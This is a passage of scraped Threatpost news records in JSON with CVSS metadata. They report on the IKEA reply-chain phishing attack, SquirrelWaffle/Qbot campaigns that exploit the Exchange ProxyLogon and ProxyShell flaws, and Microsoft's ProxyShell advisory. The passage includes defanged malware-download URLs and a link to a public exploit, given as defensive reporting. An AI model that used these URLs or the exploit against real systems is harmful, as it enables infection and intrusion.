[report](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) about attackers who were doing the same thing with replies to hijacked email threads. The attackers were gnawing on the ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server to hijack email chains, by malspamming replies to ongoing email threads and hence boosting the chance that their targets would click on malicious links that lead to malware infection.\n\n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nAs security experts have noted, hijacking email replies for malspam campaigns is a good way to slip past people\u2019s spam suspicions and to avoid getting flagged or quarantined by email gateways.\n\nWhat was still under discussion at the time of the Trend Micro report: Whether the offensive was delivering SquirrelWaffle, the new email loader that [showed up](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) in September, or whether SquirrelWaffle was just one piece of malware among several that the campaigns were dropping.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\nCisco Talos researchers first [got wind](<https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) of the SquirrelWaffle malspam campaigns beginning in mid-September, when they saw boobytrapped Microsoft Office documents delivering [Qakbot malware](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>) and the penetration-testing tool [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) \u2013 two of the most common threats regularly observed targeting organizations around the world. The Office documents infected systems with SquirrelWaffle in the initial stage of the infection chain.\n\nSquirrelWaffle campaigns are known for using stolen email threads to increase the chances that a victim will click on malicious links. Those rigged links are tucked into an email reply, similar to how the virulent [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>) malware \u2013 typically spread via malicious emails or text messages \u2013 has been known to work.\n\nTrend Micro\u2019s incident-response team had decided to look into what its researchers believed were SquirrelWaffle-related intrusions in the Middle East, to figure out whether the attacks involved the notorious, [oft-picked-apart](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) [ProxyLogon](<https://threatpost.com/deadringer-targeted-exchange-servers-before-discovery/168300/>) and [ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) Exchange server vulnerabilities.\n\nTheir conclusion: Yes, the intrusions were linked to ProxyLogon and ProxyShell attacks on unpatched Exchange servers, as evidenced by the IIS logs of three compromised servers, each compromised in a separate intrusion, all having been exploited via the ProxyShell and ProxyLogon vulnerabilities [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) and [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>).\n\nIn the Middle East campaign that Trend Micro analyzed, the phishing emails contained a malicious Microsoft Excel doc that did [what malicious Excel documents do](<https://threatpost.com/hackers-update-age-old-excel-4-0-macro-attack/154898/>): It prompted targets to choose \u201cEnable Content\u201d to view a protected file, thus launching the infection chain.\n\nSince IKEA hasn\u2019t responded to media inquiries, it\u2019s impossible to say for sure whether or not it has suffered a similar attack. However, there are yet more similarities between the IKEA attack and the Middle East attack analyzed by Trend Micro earlier this month. Specifically, as BleepingComputer reported, the IKEA reply-email attack is likewise deploying a malicious Excel document that similarly instructs recipients to \u201cEnable Content\u201d or \u201cEnable Editing\u201d to view it.\n\nTrend Micro shared a screen capture, shown below, of how the malicious Excel document looked in the Middle East campaign:\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\n## You Can\u2019t Trust Email from \u2018Someone You Know\u2019\n\nIt\u2019s easy to mistake the malicious replies as coming from legitimate senders, given that they pop up in ongoing email threads. Saryu Nayyar, CEO of Gurucul, noted that IKEA employees are learning the hard way that replies in threads aren\u2019t necessarily legitimate and can be downright malicious.\n\n\u201cIf you get an email from someone you know, or that seems to continue an ongoing conversation, you are probably inclined to treat it as legitimate,\u201d she told Threatpost via email on Monday. \u201cHowever, IKEA employees are finding out otherwise. They are being attacked by phishing emails that are often purportedly from known sources, and may be carrying the Emotet or Qbot trojans to further infect the system and network.\u201d\n\nThis attack is \u201cparticularly insidious,\u201d she commented, in that it \u201cseemingly continues a pattern of normal use.\u201d\n\n## No More Ignoring Quarantine\n\nWith such \u201cnormal use\u201d patterns lulling would-be victims into letting down their guards, it raises the possibility that employees might assume that email filters were mistaken if they quarantined the messages.\n\nThus, IKEA\u2019s internal email advised employees that its IT department was disabling the ability to release emails from quarantine. As it is, its email filters were identifying at least some of the malicious emails:\n\n> \u201cOur email filters can identify some of the malicious emails and quarantine them. Due to that the email could be a reply to an ongoing conversation, it\u2019s easy to think that the email filter made a mistake and release the email from quarantine. We are therefore until further notice disabling the possibility for everyone to release emails from quarantine.\u201d \u2013IKEA internal email to employees.\n\n## Is Training a Waste of Time?\n\nWith such sneaky attacks as these, is training pointless? Some say yes, some say no.\n\nErich Kron, security awareness advocate at [KnowBe4](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUavSzE-2FiwjSkZ-2BMZMLjTD68bBzltWsjOj4iPYBhQEjDkwmuP_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzZcULka2hXrkxot-2FYcsNMOW-2Fi7ZSbc4BW4Y4w5w74JadqFiCZdgYU0Y0aYb-2FD61SsSN5WSYToKPBxI2VArzhMwftrf78GbiRjwM9LzhmNBFfpMuXBsqYiKB-2B-2F-2BBM3106r2sgW-2Be451MnVYlMzEVQ43u-2Fx2JCoSpeITOcIPo6Gi3VBNSVcUaapZzArkSDh5SZ2Cih-2F-2FVdRBgHXCsqyWXs7po0-2FS83TsiYRB3U8HOgtt0HT6BGdSMjxi-2FVc6P1ZgVny6ZGKAKxbHvydLCfU5zrtFQ-3D>), is pro-training, particularly given how damaging these attacks can be.\n\n\u201cCompromised email accounts, especially those from internal email systems with access to an organization\u2019s contact lists, can be very damaging, as internal emails are considered trusted and lack the obvious signs of phishing that we are used to looking for,\u201d he told Threatpost via email on Monday. \u201cBecause it is from a legitimate account, and because cybercriminals often inject themselves into previous legitimate conversations, these can be very difficult to spot, making them very effective.\n\n\u201cThese sorts of attacks, especially if the attackers can gain access to an executive\u2019s email account, can be used to spread ransomware and other malware or to request wire transfers to cybercriminal-owned bank accounts, among other things,\u201d Kron said.\n\nHe suggested training employees not to blindly trust emails from an internal source, but to hover over links and to consider the context of the message. \u201cIf it does not make sense or seems unusual at all, it is much better to pick up the phone and quickly confirm the message with the sender, rather than to risk a malware infection or falling victim to a scam,\u201d he said.\u201d\n\nIn contrast, Christian Espinosa, managing director of [Cerberus Sentinel](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUc1h7F6EeKyqQHDAzxY6FeBG4AZ1lNaZ-2Fme9HKLAKT7PeL3x_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzZcULka2hXrkxot-2FYcsNMOW-2Fi7ZSbc4BW4Y4w5w74JadqFiCZdgYU0Y0aYb-2FD61SsSN5WSYToKPBxI2VArzhMwftrf78GbiRjwM9LzhmNBFfpMuXBsqYiKB-2B-2F-2BBM3106r8Wex0T7OFTT8vFIbMA9T-2BlDgGhDFXEelC-2FWPjZXKe9NWtbBbYafHTvkVre5k1vKi3GgofOJKSR-2F2xlpyW7kQklpPEA59unEm4rAKnCodaK-2FrXGwLA5yk9gY1MBMzuyaJeG4mVY1yL-2F3YI1d-2BMmcWiY-3D>), is a firm vote for the \u201ctraining is pointless\u201d approach.\n\n\u201cIt should be evident by now that awareness and phishing training is ineffective,\u201d he told Threatpost via email on Monday. \u201cIt\u2019s time we accept \u2018users\u2019 will continuously fall for phishing scams, despite how much \u2018awareness training\u2019 we put them through.\u201d\n\nBut what options do we have? Espinosa suggested that cybersecurity defense playbooks \u201cshould focus on items that reduce risk, such as application whitelisting, which would have stopped this attack, as the \u2018malware\u2019 would not be whitelisted.\u201d\n\nHe pointed to other industries that have compensated for human factors, such as transportation. \u201cDespite awareness campaigns, the transportation industry realized that many people did not \u2018look\u2019 before turning across traffic at a green light,\u201d Espinosa said. \u201cInstead of blaming the drivers, the industry changed the traffic lights. The newer lights prevent drivers from turning across traffic unless there is a green arrow.\u201d\n\nThis change saved thousands of lives, he said, and it\u2019s high time that the cybersecurity industry similarly \u201ctakes ownership.\u201d\n\n**_There\u2019s a sea of unstructured data on the internet relating to the latest security threats._**[ **_REGISTER TODAY_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_ to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This_**[ **_LIVE, interactive Threatpost Town Hall_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_, sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken._**\n\n[**_Register NOW_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)_** for the LIVE event!**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-29T21:22:12", "type": "threatpost", "title": "IKEA Hit by Email Reply-Chain Cyberattack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-29T21:22:12", "id": "THREATPOST:736F24485446EFF3B3797B31CE9DAF1D", "href": "https://threatpost.com/ikea-email-reply-chain-attack/176625/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-23T00:36:02", "description": "Attackers are gnawing on the ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server to hijack email chains, by malspamming replies to ongoing email threads, researchers say.\n\nWhat\u2019s still under discussion: whether the offensive is delivering SquirrelWaffle, the new email loader that [showed up](<https://threatpost.com/squirrelwaffle-loader-malspams-packing-qakbot-cobalt-strike/175775/>) in September, or whether SquirrelWaffle is just one piece of malware among several that the campaigns are dropping.\n\nCisco Talos researchers first [got wind](<https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+feedburner%2FTalos+%28Talos%E2%84%A2+Blog%29>) of the SquirrelWaffle malspam campaigns beginning in mid-September, when they saw boobytrapped Microsoft Office documents delivering [Qakbot malware](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>) and the penetration-testing tool [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) \u2013 two of the most common threats regularly observed targeting organizations around the world. The Office documents infected systems with SquirrelWaffle in the initial stage of the infection chain.\n\nSquirrelWaffle campaigns are known for using stolen email threads to increase the chances that a victim will click on malicious links. Those rigged links are tucked into an email reply, similar to how the virulent [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>) malware \u2013 typically spread via malicious emails or text messages \u2013 has been known to work.\n\n## Slipping Under People\u2019s Noses\n\nIn a [report](<https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html>) posted on Friday, Trend Micro researchers \u200b\u200bMohamed Fahmy, Sherif Magdy and Abdelrhman Sharshar said that hijacking email replies for malspam is a good way to slip past both people\u2019s spam suspicions and to avoid getting flagged or quarantined by email gateways.\n\n\u201cDelivering the malicious spam using this technique to reach all the internal domain users will decrease the possibility of detecting or stopping the attack, as the mail [gateways] will not be able to filter or quarantine any of these internal emails,\u201d they wrote.\n\nThe attacker also didn\u2019t drop, or use, tools for lateral movement after gaining access to the vulnerable Exchange servers, Trend Micro said. Thus, they left no tracks, as \u201cno suspicious network activities will be detected. Additionally, no malware was executed on the Exchange servers that will trigger any alerts before the malicious email is spread across the environment.\u201d\n\n## Middle East Campaign\n\nTrend Micro\u2019s Incident Response team had decided to look into what researchers believe are SquirrelWaffle-related intrusions in the Middle East, to figure out whether the attacks involved the notorious Exchange server vulnerabilities.\n\nThey shared a screen capture, shown below, that\u2019s representative of the malicious email replies that showed up in all of the user inboxes of one affected network, all sent as legitimate replies to existing threads, all written in English.\n\nThey found that other languages were used in different regions outside of the Middle East attack they examined. Still, in the intrusions they analyzed that were outside of the Middle East, most of the malicious emails were written in English, according to the report.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22101946/malicious-spam-received-by-targets-e1637594408162.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22101946/malicious-spam-received-by-targets-e1637594408162.png>)\n\nMalicious spam received by targets. Source: Trend Micro.\n\n\u201cWith this, the attackers would be able to hijack legitimate email chains and send their malicious spam as replies to the said chains,\u201d the researchers wrote.\n\n## Who\u2019s Behind This?\n\n[Cryptolaemus](<https://www.zdnet.com/article/meet-the-white-hat-group-fighting-emotet-the-worlds-most-dangerous-malware/>) researcher [TheAnalyst](<https://twitter.com/ffforward>) disagreed with Trend Micro on its premise that SquirrelWaffle is actually acting as a malware dropper for Qbot or other malwares. Rather, TheAnalyst asserted on Friday that the threat actor is dropping both SquirrelWaffle and Qbot as [discrete payloads](<https://twitter.com/ffforward/status/1461810466720825352>), and the most recent [confirmed SquirrelWaffle drop](<https://twitter.com/ffforward/status/1461810488870944768>) it has seen was actually on Oct. 26.\n\n> it makes it easy for us who tracks them to identify them. A TTP they always comes back to is links to maldocs in stolen reply chains. They are known to deliver a multitude of malware like [#QakBot](<https://twitter.com/hashtag/QakBot?src=hash&ref_src=twsrc%5Etfw>) [#Gozi](<https://twitter.com/hashtag/Gozi?src=hash&ref_src=twsrc%5Etfw>) [#IcedID](<https://twitter.com/hashtag/IcedID?src=hash&ref_src=twsrc%5Etfw>) [#CobaltStrike](<https://twitter.com/hashtag/CobaltStrike?src=hash&ref_src=twsrc%5Etfw>) and maybe others. >\n> \n> \u2014 TheAnalyst (@ffforward) [November 19, 2021](<https://twitter.com/ffforward/status/1461810468323004417?ref_src=twsrc%5Etfw>)\n\nWith regards to who\u2019s behind the activity, TheAnalyst said that the actor/activity is tracked as tr01/TR (its QakBot affiliate ID)[ TA577](<https://twitter.com/hashtag/TA577?src=hashtag_click>) by Proofpoint and as ChaserLdr by[ Cryptolaemus](<https://twitter.com/Cryptolaemus1>) and that the activity goes back to at least 2020. The actors are easy to track, TheAnalyst said, given small tweaks to their tactics, techniques and procedures (TTPs).\n\nOne such TTP that tr01 favors is adding links to malicious documents included in stolen reply chains, TheAnalyst noted. The threat actor is known to deliver \u201ca multitude of malware,\u201d they said, such as [QakBot](<https://threatpost.com/prolock-ransomware-qakbot-trojan/155828/>), [Gozi](<https://threatpost.com/banking-trojans-nymaim-gozi-merge-to-steal-4m/117412/>), [IcedID](<https://threatpost.com/icedid-banking-trojan-surges-emotet/165314/>), Cobalt Strike and potentially more.\n\n## The Old \u2018Open Me\u2019 Excel Attachment Trick\n\nThe malicious emails carried links (aayomsolutions[.]co[.]in/etiste/quasnam[]-4966787 and aparnashealthfoundation[.]aayom.com/quasisuscipit/totamet[-]4966787) that dropped a .ZIP file containing a malicious Microsoft Excel sheet that downloads and executes a malicious DLL related to the [Qbot](<https://threatpost.com/ta551-tactics-sliver-red-teaming/175651/>) banking trojan.\n\nWhat\u2019s particularly notable, Trend Micro said, is that real account names from the victim\u2019s domain were used as sender and recipient, \u201cwhich raises the chance that a recipient will click the link and open the malicious Microsoft Excel spreadsheets,\u201d according to the report.\n\nAs shown below, the Excel attachment does [what malicious Excel documents do](<https://threatpost.com/hackers-update-age-old-excel-4-0-macro-attack/154898/>): It prompts targets to choose \u201cEnable Content\u201d to view a protected file.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22122626/Malicious-Microsoft-Excel-document--e1637602000585.png>)\n\nMalicious Microsoft Excel document. Source: Trend Micro.\n\nTrend Micro offered the chart below, which shows the Excel file infection chain.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22132511/Excel_file_infection_chain__Source-_Trend_Micro_-e1637605525630.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22132511/Excel_file_infection_chain__Source-_Trend_Micro_-e1637605525630.jpg>)\n\nExcel file infection chain. Source: Trend Micro.\n\n## The Exchange Tell-Tales\n\nThe researchers believe that the actors are pulling it off by targeting users who are relying on Microsoft Exchange servers that haven\u2019t yet been patched for the notorious, [oft-picked-apart](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) [ProxyLogon](<https://threatpost.com/deadringer-targeted-exchange-servers-before-discovery/168300/>) and [ProxyShell](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) vulnerabilities.\n\nTrend Micro found evidence in the IIS logs of three compromised Exchange servers, each compromised in a separate intrusion, all having been exploited via the vulnerabilities [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) and [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 the same CVEs used in ProxyLogon (CVE-2021-26855) and ProxyShell (CVE-2021-34473 and CVE-2021-34523) intrusions, according to Trend Micro.\n\nThe IIS log also showed that the threat actor is using a [publicly available](<https://github.com/Jumbo-WJB/Exchange_SSRF>) exploit in its attack. \u201cThis exploit gives a threat actor the ability to get users SID and emails,\u201d the researchers explained. \u201cThey can even search for and download a target\u2019s emails.\u201d\n\nThe researchers shared evidence from the IIS logs, replicated below, that depicts the exploit code.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22125426/Exploiting-CVE-2021-26855-as-seen-in-the-IIS-logs-e1637603679782.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/22125426/Exploiting-CVE-2021-26855-as-seen-in-the-IIS-logs-e1637603679782.png>)\n\nExploiting CVE-2021-26855, as demonstrated by the IIS logs. Source: Trend Micro.\n\nMicrosoft fixed the ProxyLogon vulnerabilities in [March](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) and the ProxyShell vulnerabilities in [May](<https://threatpost.com/wormable-windows-bug-dos-rce/166057/>). Those who\u2019ve applied the [May or July](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) updates are protected from all of these. Microsoft has [reiterated](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) that those who\u2019ve applied the ProxyLogon patch released in [March](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>) aren\u2019t protected from ProxyShell vulnerabilities and should install the more recent security updates.\n\n## How to Fend Off ProxyLogon/ProxyShell Attacks\n\nExploiting ProxyLogon and ProxyShell enabled the attackers to slip past checks for malicious email, which \u201chighlights how users [play] an important part in the success or failure of an attack,\u201d Trend Micro observed. These campaigns \u201cshould make users wary of the different tactics used to mask malicious emails and files,\u201d the researchers wrote.\n\nIn other words, just because email comes from a trusted contact is no guarantee that any attachment or link it contains can be trusted, they said.\n\nOf course, patching is the number one way to stay safe, but Trend Micro gave these additional tips if that\u2019s not possible:\n\n * Enable virtual patching modules on all Exchange servers to provide critical level protection for servers that have not yet been patched for these vulnerabilities.\n * Use endpoint detection and response (EDR) solutions in critical servers, as it provides visibility to machine internals and detects any suspicious behavior running on servers.\n * Use endpoint protection design for servers.\n * Apply sandbox technology on email, network and web to detect similar URLs and samples.\n\n_**There\u2019s a sea of unstructured data on the internet relating to the latest security threats. REGISTER TODAY to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This [LIVE, interactive Threatpost Town Hall](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>), sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken. **_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-22T19:26:25", "type": "threatpost", "title": "Attackers Hijack Email Using Proxy Logon/Proxyshell Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-22T19:26:25", "id": "THREATPOST:836083DB3E61D979644AE68257229776", "href": "https://threatpost.com/attackers-hijack-email-threads-proxylogon-proxyshell/176496/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-26T23:21:31", "description": "Microsoft has broken its silence on the [recent barrage of attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) on several ProxyShell vulnerabilities in that were [highlighted](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) by a researcher at Black Hat earlier this month.\n\nThe company [released an advisory](<https://techcommunity.microsoft.com/t5/exchange-team-blog/proxyshell-vulnerabilities-and-your-exchange-server/ba-p/2684705>) late Wednesday letting customers know that threat actors may use unpatched Exchange servers \u201cto deploy ransomware or conduct other post-exploitation activities\u201d and urging them to update immediately.\n\n\u201cOur recommendation, as always, is to install the latest CU and SU on all your Exchange servers to ensure that you are protected against the latest threats,\u201d the company said. \u201cPlease update now!\u201d \n[![Infosec Insiders Newsletter](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/10165815/infosec_insiders_in_article_promo.png)](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)Customers that have installed the [May 2021 security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-may-2021-exchange-server-security-updates/ba-p/2335209>) or the [July 2021 security updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-july-2021-exchange-server-security-updates/ba-p/2523421>) on their Exchange servers are protected from these vulnerabilities, as are Exchange Online customers so long as they ensure that all hybrid Exchange servers are updated, the company wrote.\n\n\u201cBut if you have not installed either of these security updates, then your servers and data are vulnerable,\u201d according to the advisory.\n\nThe ProxyShell bugs that Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) outlined in a presentation at Black Hat. The three vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) enable an adversary to trigger remote code execution on Microsoft Exchange servers. Microsoft said the bugs can be exploited in the following cases:\n\n\u2013The server is running an older, unsupported CU;\n\n\u2013The server is running security updates for older, unsupported versions of Exchange that were [released](<https://techcommunity.microsoft.com/t5/exchange-team-blog/march-2021-exchange-server-security-updates-for-older-cumulative/ba-p/2192020>) in March 2021; or\n\n\u2013The server is running an older, unsupported CU, with the [March 2021 EOMT](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) mitigations applied.\n\n\u201cIn all of the above scenarios, you _must_ install one of latest supported CUs and all applicable SUs to be protected,\u201d according to Microsoft. \u201cAny Exchange servers that are not on a supported CU _and_ the latest available SU are vulnerable to ProxyShell and other attacks that leverage older vulnerabilities.\u201d\n\n**Sounding the Alarm**\n\nFollowing Tsai\u2019s presentation on the bugs, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that [he found more](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find exploiting then easy to execute, given how much information is available.\n\nSecurity researchers at Huntress also reported seeing [ProxyShell vulnerabilities](<https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit>) being actively exploited throughout the month of August to install backdoor access once the [ProxyShell exploit code](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) was published on Aug. 6. But starting last Friday, Huntress reported a \u201csurge\u201d in attacks after finding 140 webshells launched against 1,900 unpatched Exchange servers.\n\nThe Cybersecurity & Infrastructure Security Agency (CISA) joined those sounding the alarm over the weekend, issuing [an urgent alert](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>). They, too, urged organizations to immediately install the latest Microsoft Security Update.\n\nAt the time, researcher Kevin Beaumont expressed [criticism over Microsoft\u2019s messaging efforts](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>) surrounding the vulnerability and the urgent need for its customers to update their Exchange Server security.\n\n\u201cMicrosoft decided to downplay the importance of the patches and treat them as a standard monthly Exchange patch, which [has] been going on for \u2013 obviously \u2013 decades,\u201d Beaumont explained.\n\nBut Beaumont said these remote code execution (RCE) vulnerabilities are \u201c\u2026as serious as they come.\u201d He noted that the company did not help matters by failing to allocate CVEs for them until July \u2014 four months after the patches were issued.\n\nIn order of patching priority, according to Beaumont, the vulnerabilities are: [CVE-2021\u201334473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021\u201334523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) and [CVE-2021\u201331207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>).\n\nCVE-2021-34473, a vulnerability in which a pre-auth path confusion leads to ACL Bypass, was patched in April. CVE-2021-34523, also patched in April, is an elevation of privilege on Exchange PowerShell backend. CVE-2021-31207, a bug in which a post-auth Arbitrary-File-Write leads to remote code execution, was patched in May.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-26T12:39:54", "type": "threatpost", "title": "Microsoft Breaks Silence on Barrage of ProxyShell Attacks", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": 